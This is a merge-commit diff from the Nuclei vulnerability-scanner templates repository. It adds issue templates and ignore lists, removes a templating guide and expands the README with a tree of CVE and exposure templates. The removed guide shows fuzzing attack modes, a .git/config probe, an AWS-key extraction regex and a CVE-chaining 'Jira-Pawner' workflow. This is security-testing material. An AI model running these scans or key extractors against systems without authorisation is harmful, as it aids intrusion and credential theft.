Merge pull request #606 from CasperGN/cve-2020-26214

Add cve-2020-26214 detection

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,32 @@
+---
+name: Bug report
+about: Create a issue to help us improve
+title: "[Bug] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**Commands to reproduce**
+
+```
+nuclei -t xxx -target xxx
+```
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.

.github/ISSUE_TEMPLATE/false-positive.md

@@ -0,0 +1,30 @@
+---
+name: False Positive
+about: 'Create an issue if you found false positive results. '
+title: "[false-positive] "
+labels: ''
+assignees: ''
+
+---
+
+**Nuclei version**
+
+```
+nuclei -version 
+```
+
+**Nuclei template version**
+
+```
+cat ~/.nuclei-config.json
+```
+
+**Template ID**
+
+Please submit the ID template producing false-positive results. 
+
+**Commands to Reproduce**
+
+```
+nuclei -t template_id -target ?
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,16 @@
+---
+name: Feature request
+about: Suggest an idea to improve nuclei templates
+title: "[Feature] "
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+
+A clear and concise description of what you want to happen.

.github/ISSUE_TEMPLATE/submit-template.md

@@ -0,0 +1,14 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] "
+labels: ''
+assignees: ''
+
+---
+
+**Template Details**
+
+```
+nuclei template goes here
+```

.gitignore

@@ -0,0 +1,2 @@
+.DS_Store
+local/

.nuclei-ignore

@@ -0,0 +1,11 @@
+.pre-commit-config.yaml
+security-misconfiguration/missing-x-frame-options.yaml
+security-misconfiguration/missing-hsts.yaml
+security-misconfiguration/missing-csp.yaml
+security-misconfiguration/basic-cors-flash.yaml
+cves/CVE-2017-7529.yaml
+cves/CVE-2020-13379.yaml
+cves/CVE-2013-2251.yaml
+vulnerabilities/x-forwarded-host-injection.yaml
+fuzzing/
+workflows/

GUIDE.md

@@ -1,608 +0,0 @@
-# Templating Guide
-
-**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
-
-The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
-
-Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
-
-## Table of Contents
-
-   * [Templating Guide](#templating-guide)
-      * [Template Details](#template-details)
-         * [<strong>Info</strong>](#info)
-         * [<strong>HTTP Requests</strong>](#http-requests)
-            * [<strong>Method</strong>](#method)
-            * [<strong>Redirects</strong>](#redirects)
-            * [<strong>Path</strong>](#path)
-            * [<strong>Headers</strong>](#headers)
-            * [<strong>Body</strong>](#body)
-            * [<strong>Matchers</strong>](#matchers)
-               * [<strong>Types</strong>](#types)
-               * [<strong>Conditions</strong>](#conditions)
-               * [<strong>Matched Parts</strong>](#matched-parts)
-               * [<strong>Multiple Matchers</strong>](#multiple-matchers)
-            * [Extractors](#extractors)
-            * [<strong>Example HTTP Template</strong>](#example-http-template)
-         * [<strong>DNS Requests</strong>](#dns-requests)
-            * [<strong>Type</strong>](#type)
-            * [<strong>Name</strong>](#name)
-            * [<strong>Class</strong>](#class)
-            * [<strong>Recursion</strong>](#recursion)
-            * [<strong>Retries</strong>](#retries)
-            * [<strong>Matchers</strong>](#matchers)
-            * [<strong>Example DNS Template</strong>](#example-dns-template)
-         * [<strong>Chained workflow</strong>](#chained-workflow)
-
-## Template Details
-
-Each template has a unique ID which is used during output writing to specify the template name for an output line.
-
-The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
-
-```yaml
-# id contains the unique identifier for the template.
-id: git-config
-```
-
-ID must not contain spaces. This is done to allow easier output parsing.
-
-### Info
-
-Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
-
-Let's add an **info** block to our template as well.
-
-```yaml
-info:
-  # Name is the name of the template
-  name: Git Config File Detection Template
-  # Author is the name of the author for the template
-  author: Ice3man
-  # Severity is the severity for the template.
-  severity: medium
-```
-
-Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
-
-Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
-
-### HTTP Requests
-
-Requests start with a request block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-requests:
-```
-
-At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
-
-```yaml
-requests:
-  - raw:
-    - |
-        GET /path1/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a1/b1
-    - |
-        POST /path2/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a2/b2
-
-        This is the request Body
-```
-
-Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
-
-```yaml
-id: dummy-raw
-info:
-  name: Example-Fuzzing
-
-requests:
-  - payloads:
-      param_a: /home/user/wordlist_param_a.txt
-      param_b: /home/user/wordlist_param_b.txt
-    attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-          POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
-          User-Agent: {{param_a}}
-          Host: {{Hostname}}
-          another_header: {{base64(param_b)}}
-          Accept: */*
-
-          This is the Body
-      # Request with body manipulation
-      - |
-          DELETE / HTTP/1.1
-          User-Agent: nuclei
-          Host: {{Hostname}}
-          
-          This is the body {{sha256(param_a)}}
-      # Yet another one
-      - |
-          PUT / HTTP/1.1
-          Host: {{Hostname}}
-          
-          This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
-    matchers:
-      - type: word
-        words:
-          - "title"
-          - "body"
-```
-
-This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
-
-#### Method
-
-First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
-
-```yaml
-# Method is the method for the request
-method: GET
-```
-
-#### Redirects
-
-Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
-
-An example of the usage:
-
-```yaml
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/login.php
-    redirects: true
-    max-redirects: 3
-```
-
-#### Path
-
-The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
-2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-path: {{BaseURL}}/.git/config
-# This path will be replaced on execution with BaseURL
-# If BaseURL is set to  https://abc.com then the
-# path will get replaced to the following: https://abc.com/.git/config
-```
-
-Multiple paths can also be specified in one request which will be requested for the target.
-
-#### Headers
-
-Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
-
-```yaml
-# headers contains the headers for the request
-headers:
-  # Custom user-agent header
-  User-Agent: Some-Random-User-Agent
-  # Custom request origin
-  Origin: https://google.com
-```
-
-#### Body
-
-Body specifies a body to be sent along with the request. For instance:
-
-```yaml
-# Body is a string sent along with the request
-body: "{\"some random JSON\"}"
-```
-
-#### Matchers
-
-Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 6 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| status       | Status Code of Response    |
-| size         | Content Length of Response |
-| word         | Response body or headers   |
-| regex        | Response body or headers   |
-| binary       | Response body              |
-| dsl          | All Response Parts         |
-
-To match status codes for responses, you can use the following syntax.
-
-```yaml
-matcher:
-  # Match the status codes
-  - type: status
-    # Some status codes we want to match
-    status:
-      - 200
-      - 302
-```
-
-To match binary for hexadecimal responses, you can use the following syntax.
-
-```yaml
-matchers:
-  - type: binary
-    binary:
-      - "504B0304" # zip archive
-      - "526172211A070100" # rar RAR archive version 5.0
-      - "FD377A585A0000" # xz tar.xz archive
-    condition: or
-    part: body
-```
-
-To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
-
-**Word** and **Regex** matchers can be further configured depending on the needs of the users.
-
-Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
-
-```yaml
-matchers:
-  - type: dsl
-    dsl:
-      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
-      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
-```
-
-Every part of a http response can be matched:
-
-| Response Part    | Description                                     | Example                   |
-|------------------|-------------------------------------------------|---------------------------|
-| content_length   | Header Content-Length                           | content_length >= 1024    |
-| status_code      | Response Status Code                            | status_code==200          |
-| all_headers      | Unique string containing all headers            | len(all_headers)          |
-| body             | Body as string                                  | len(body)                 |
-| header_name      | Lowercase header name with "-" converted to "_" | len(user_agent)           |
-| raw              | Headers + Response                              | len(raw)                  |
-
-This is the list for a dns response:
-
-| Response Part    | Description                       | Example                   |
-|------------------|-----------------------------------|---------------------------|
-| rcode            | Response status                   | rcode == "NXDOMAIN        |
-| question         | Response Question Section         | len(question)             |
-| extra            | Response Extra Section            | len(extra)                |
-| answer           | Response Answers Section          | len(answer)               |
-| ns               | Response Authority Section        | len(ns)                   |
-| raw              | Full Response                     | len(raw)                  |
-
-The helper functions are:
-
-| Helper Function | Description                               | Example                                                                                        |
-|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
-| len             | Length of a string                        | len("Hello") // Result: 5                                                                      |
-| toupper         | string to uppercase                       | toupper("Hello") // Result: "HELLO"                                                            |
-| tolower         | string to lowercase                       | tolower("Hello") // Result: "hello"                                                            |
-| replace         | Replace string parts                      | replace("Hello", "He", "Ha") // Result: "Hallo"                                                |
-| trim            | Remove trailing unicode chars             | trim("aaaHelloddd", "ad") // Result: "Hello"                                                   |
-| trimleft        | Remove unicode chars from left            | trimleft("aaaHelloddd", "ad") // Result: "Helloddd"                                            |
-| trimright       | Remove unicode chars from right           | trimleft("aaaHelloddd", "ad") // Result: "aaaHello"                                            |
-| trimspace       | Remove trailing spaces                    | trimspace("  Hello  ") // Result: "Hello"                                                      |
-| trimprefix      | Trim specified prefix                     | trimprefix("aaHelloaa", "aa") // Result: "Helloaa"                                             |
-| trimsuffix      | Trim specified suffix                     | trimsuffix("aaHelloaa", "aa") // Result: "aaHello"                                             |
-| base64          | Encode string to base64                   | base64("Hello") // Result: "SGVsbG8="                                                          |
-| base64_decode   | Decode string from base64                 | base64_decode("SGVsbG8=") // Result: "Hello"                                                   |
-| url_encode   | URL encode a string                 | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1"     |
-| url_decode   | URL decode a string                 | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1"     |
-| hex_encode   | Hex encode a string                 | hex_encode("aa") // Result: "6161"     |
-| hex_decode   | Hex decode a string                 | hex_decode("6161") // Result: "aa"     |
-| html_escape   | Hex encode a string                 | html_escape("<html><body>test</body></html>") // Result: "&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;"     |
-| html_unescape   | Hex decode a string                 | html_unescape("&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;") // Result: "<html><body>test</body></html>"     |
-| md5             | Calculate md5 of string                   | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7"                                     |
-| sha256          | Calculate sha256 of string                | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969"  |
-| sha1          | Calculate sha1 of string                | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0"  |
-| contains        | Verify if a string contains another one   | contains("Hello", "lo") // Result: True                                                        |
-| regex           | Verify a regex versus a string            | regex("H([a-z]+)o", "Hello") // Result: True                                                   |
-
-##### Conditions
-
-Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
-
-1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
-2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
-
-##### Matched Parts
-
-Multiple parts of the response can also be matched for the request.
-
-| Part   | Matched Part                         |
-| ------ | ------------------------------------ |
-| body   | Body of the response                 |
-| header | Header of the response               |
-| all    | Both body and header of the response |
-
-Example matchers for response body using the AND condition:
-
-```yaml
-matcher:
-  # Match the body word
-  - type: word
-   # Some words we want to match
-   words:
-     - "[core]"
-     - "[config]"
-   # Both words must be found in the response body
-   condition: and
-   #  We want to match request body (default)
-   part: body
-```
-
-Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
-
-##### Multiple Matchers
-
-Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
-
-Here is an example of syntax for multiple matchers.
-
-```yaml
-matchers:
-  - type: word
-    name: php
-    words:
-      - "X-Powered-By: PHP"
-      - "PHPSESSID"
-    part: header
-  - type: word
-    name: node
-    words:
-      - "Server: NodeJS"
-      - "X-Powered-By: nodejs"
-    condition: or
-    part: header
-  - type: word
-    name: python
-    words:
-      - "Python/2."
-      - "Python/3."
-    condition: or
-    part: header
-```
-
-##### Matchers Condition
-
-While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
-
-```yaml
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        condition: or
-        part: header
-
-      - type: word
-        words:
-          - "PHP"
-        part: body
-```
-
-#### Extractors
-
-Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
-
-Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
-
-```yaml
-# A list of extractors for text extraction
-extractors:
-  # type of the extractor, only regex for now.
-  - type: regex
-    # part of the response to extract (can be headers, all too)
-    part: body
-    # regex to use for extraction.
-    regex:
-      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-```
-
-#### **Example HTTP Template**
-
-The final template file for the `.git/config` file mentioned above is as follows:
-
-```yaml
-id: git-config
-
-info:
-  name: Git Config File
-  author: Ice3man
-  severity: medium
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
-    matchers:
-      - type: word
-        words:
-          - "[core]"
-```
-
-### DNS Requests
-
-Requests start with a dns block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-dns:
-```
-
-DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
-
-#### Type
-
-First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
-
-```yaml
-# type is the type for the dns request
-type: A
-```
-
-#### Name
-
-The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-name: {{FQDN}}.com
-# This value will be replaced on execution with the FQDN.
-# If FQDN is https://this.is.an.example then the
-# name will get replaced to the following: this.is.an.example.com
-```
-
-As of now the tool supports only one question per request.
-
-#### Class
-
-Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
-
-```yaml
-# method is the class for the dns request
-class: inet
-```
-
-#### Recursion
-
-Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
-
-```yaml
-# Recursion is a boolean determining if the request is recursive
-recursion: true
-```
-
-#### Retries
-
-Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
-
-```yaml
-# Retries is a number of retries before giving up on dns resolution
-retries: 3
-```
-
-#### Matchers
-
-Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 5 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| size         | Response size              |
-| word         | Response                   |
-| regex        | Response                   |
-| binary       | Response                   |
-| dsl          | Response                   |
-
-## **Example DNS Template**
-
-The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
-
-```yaml
-id: dummy-cname-a
-
-info:
-  name: Dummy A dns request
-  author: mzack9999
-  severity: none
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          # The response must contains a CNAME record
-          - "IN\tCNAME"
-          # and also at least 1 A record
-          - "IN\tA"
-        condition: and
-```
-
-# Chained workflow
-
-It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.  
-
-Chained workflow supports both HTTP and DNS request based templates. 
-
-Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-  
-  jira: panels/detect-jira.yaml
-  jira-cve-1: cves/CVE-2018-20824.yaml
-  jira-cve-2: cves/CVE-2019-3399.yaml
-  jira-cve-3: cves/CVE-2019-11581.yaml
-  jira-cve-4: cves/CVE-2017-18101.yaml
-
-logic: 
-    |
-  if jira() {
-    jira-cve-1()
-    jira-cve-2()
-    jira-cve-3()
-    jira-cve-4()
-
-  }
-```
-
-Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-
-  jira: panels/detect-jira.yaml
-  jira-pwn: my-jira-templates/
-
- # defining directory to run all the templates
-
-logic: 
-    |
-  if jira() {
-    jira-pwn()
-
-  }
-```
-

README.md

@@ -1,6 +1,413 @@
-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
+# Nuclei Templates
 
-Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### nuclei templates `v7.2.0`
+
+| Template Directory      	| Number of Templates      |
+|---------------------------|--------------------------|
+| cves                     	|125                       |
+| default-credentials       |03                        |
+| dns                     	|04                        |
+| files                     |44                        |
+| fuzzing                   |02                        |
+| generic-detections        |03                        |
+| panels                    |39                        |
+| security-misconfiguration |25                  	   |
+| subdomain-takeover        |02           			   |
+| technologies              |32      				   |
+| tokens                    |08                        |
+| vulnerabilities           |33          			   |
+| workflows                 |15              		   |
+
+### nuclei templates `v7.2.0` tree overview 
+
+<details>
+<summary>Template Directory</summary>
+
+```
+├── cves
+│   ├── CVE-2005-2428.yaml
+│   ├── CVE-2013-2251.yaml
+│   ├── CVE-2014-6271.yaml
+│   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-11444.yaml
+│   ├── CVE-2017-14537.yaml
+│   ├── CVE-2017-14849.yaml
+│   ├── CVE-2017-5638.yaml
+│   ├── CVE-2017-7391.yaml
+│   ├── CVE-2017-7615.yaml
+│   ├── CVE-2017-9506.yaml
+│   ├── CVE-2017-9841.yaml
+│   ├── CVE-2018-0296.yaml
+│   ├── CVE-2018-1000129.yaml
+│   ├── CVE-2018-11409.yaml
+│   ├── CVE-2018-11759.yaml
+│   ├── CVE-2018-1247.yaml
+│   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-1273.yaml
+│   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-14728.yaml
+│   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-16763.yaml
+│   ├── CVE-2018-17431.yaml
+│   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19386.yaml
+│   ├── CVE-2018-19439.yaml
+│   ├── CVE-2018-20824.yaml
+│   ├── CVE-2018-2791.yaml
+│   ├── CVE-2018-3714.yaml
+│   ├── CVE-2018-3760.yaml
+│   ├── CVE-2018-5230.yaml
+│   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-1010287.yaml
+│   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11043.yaml
+│   ├── CVE-2019-11248.yaml
+│   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-11580.yaml
+│   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-12461.yaml
+│   ├── CVE-2019-12593.yaml
+│   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14696.yaml
+│   ├── CVE-2019-14974.yaml
+│   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-15107.yaml
+│   ├── CVE-2019-15858.yaml
+│   ├── CVE-2019-16278.yaml
+│   ├── CVE-2019-1653.yaml
+│   ├── CVE-2019-16662.yaml
+│   ├── CVE-2019-16759-1.yaml
+│   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-16920.yaml
+│   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-17558.yaml
+│   ├── CVE-2019-18394.yaml
+│   ├── CVE-2019-19368.yaml
+│   ├── CVE-2019-19781.yaml
+│   ├── CVE-2019-19908.yaml
+│   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-20141.yaml
+│   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-2725.yaml
+│   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3799.yaml
+│   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6715.yaml
+│   ├── CVE-2019-7256.yaml
+│   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8442.yaml
+│   ├── CVE-2019-8449.yaml
+│   ├── CVE-2019-8451.yaml
+│   ├── CVE-2019-8903.yaml
+│   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-10199.yaml
+│   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-11034.yaml
+│   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12116.yaml
+│   ├── CVE-2020-12720.yaml
+│   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-14179.yaml
+│   ├── CVE-2020-14181.yaml
+│   ├── CVE-2020-15129.yaml
+│   ├── CVE-2020-15505.yaml
+│   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-16952.yaml
+│   ├── CVE-2020-17505.yaml
+│   ├── CVE-2020-17506.yaml
+│   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-24223.yaml
+│   ├── CVE-2020-24312.yaml
+│   ├── CVE-2020-2551.yaml
+│   ├── CVE-2020-25540.yaml
+│   ├── CVE-2020-3187.yaml
+│   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-5284.yaml
+│   ├── CVE-2020-5405.yaml
+│   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5412.yaml
+│   ├── CVE-2020-5776.yaml
+│   ├── CVE-2020-5777.yaml
+│   ├── CVE-2020-5902.yaml
+│   ├── CVE-2020-6287.yaml
+│   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7961.yaml
+│   ├── CVE-2020-8091.yaml
+│   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8163.yaml
+│   ├── CVE-2020-8191.yaml
+│   ├── CVE-2020-8193.yaml
+│   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8512.yaml
+│   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9047.yaml
+│   ├── CVE-2020-9344.yaml
+│   ├── CVE-2020-9484.yaml
+│   ├── CVE-2020-9496.yaml
+│   ├── CVE-2020-9757.yaml
+│   ├── cve-2019-9733.yaml
+│   └── cve-2020-0618.yaml
+├── default-credentials
+│   ├── grafana-default-credential.yaml
+│   ├── rabbitmq-default-admin.yaml
+│   └── tomcat-manager-default.yaml
+├── dns
+│   ├── azure-takeover-detection.yaml
+│   ├── cname-service-detector.yaml
+│   ├── dead-host-with-cname.yaml
+│   └── servfail-refused-hosts.yaml
+├── files
+│   ├── apc-info.yaml
+│   ├── cgi-test-page.yaml
+│   ├── dir-listing.yaml
+│   ├── docker-registry.yaml
+│   ├── domcfg-page.yaml
+│   ├── druid-monitor.yaml
+│   ├── drupal-install.yaml
+│   ├── ds_store.yaml
+│   ├── elasticsearch.yaml
+│   ├── elmah-log-file.yaml
+│   ├── error-logs.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-svn.yaml
+│   ├── filezilla.yaml
+│   ├── firebase-detect.yaml
+│   ├── git-config.yaml
+│   ├── htaccess-config.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jolokia.yaml
+│   ├── laravel-env.yaml
+│   ├── lazy-file.yaml
+│   ├── magento-config.yaml
+│   ├── ntlm-directories.yaml
+│   ├── php-errors.yaml
+│   ├── phpinfo.yaml
+│   ├── public-tomcat-instance.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── server-status-localhost.yaml
+│   ├── shell-history.yaml
+│   ├── sql-dump.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── tomcat-scripts.yaml
+│   ├── wadl-files.yaml
+│   ├── web-config.yaml
+│   ├── wordpress-db-backup.yaml
+│   ├── wordpress-debug-log.yaml
+│   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-emergency-script.yaml
+│   ├── wordpress-installer-log.yaml
+│   ├── wordpress-tmm-db-migrate.yaml
+│   ├── wordpress-user-enumeration.yaml
+│   ├── wp-xmlrpc.yaml
+│   ├── wsdl-detect.yaml
+│   └── zip-backup-files.yaml
+├── fuzzing
+│   ├── arbitrary-file-read.yaml
+│   ├── directory-traversal.yaml
+│   └── generic-lfi-fuzzing.yaml
+├── generic-detections
+│   ├── basic-xss-prober.yaml
+│   ├── general-tokens.yaml
+│   └── top-15-xss.yaml
+├── panels
+│   ├── adminer-panel.yaml
+│   ├── aims-password-mgmt-client.yaml
+│   ├── atlassian-crowd-panel.yaml
+│   ├── cisco-asa-panel.yaml
+│   ├── citrix-adc-gateway-detect.yaml
+│   ├── compal.yaml
+│   ├── crxde.yaml
+│   ├── docker-api.yaml
+│   ├── fortinet-fortigate-panel.yaml
+│   ├── globalprotect-panel.yaml
+│   ├── go-anywhere-client.yaml
+│   ├── grafana-detect.yaml
+│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
+│   ├── jenkins-asyncpeople.yaml
+│   ├── jmx-console.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── manage-engine-admanager-panel.yaml
+│   ├── mobileiron-login.yaml
+│   ├── netscaler-gateway.yaml
+│   ├── network-camera-detect.yaml
+│   ├── parallels-html-client.yaml
+│   ├── phpmyadmin-panel.yaml
+│   ├── polycom-admin-detect.yaml
+│   ├── pulse-secure-panel.yaml
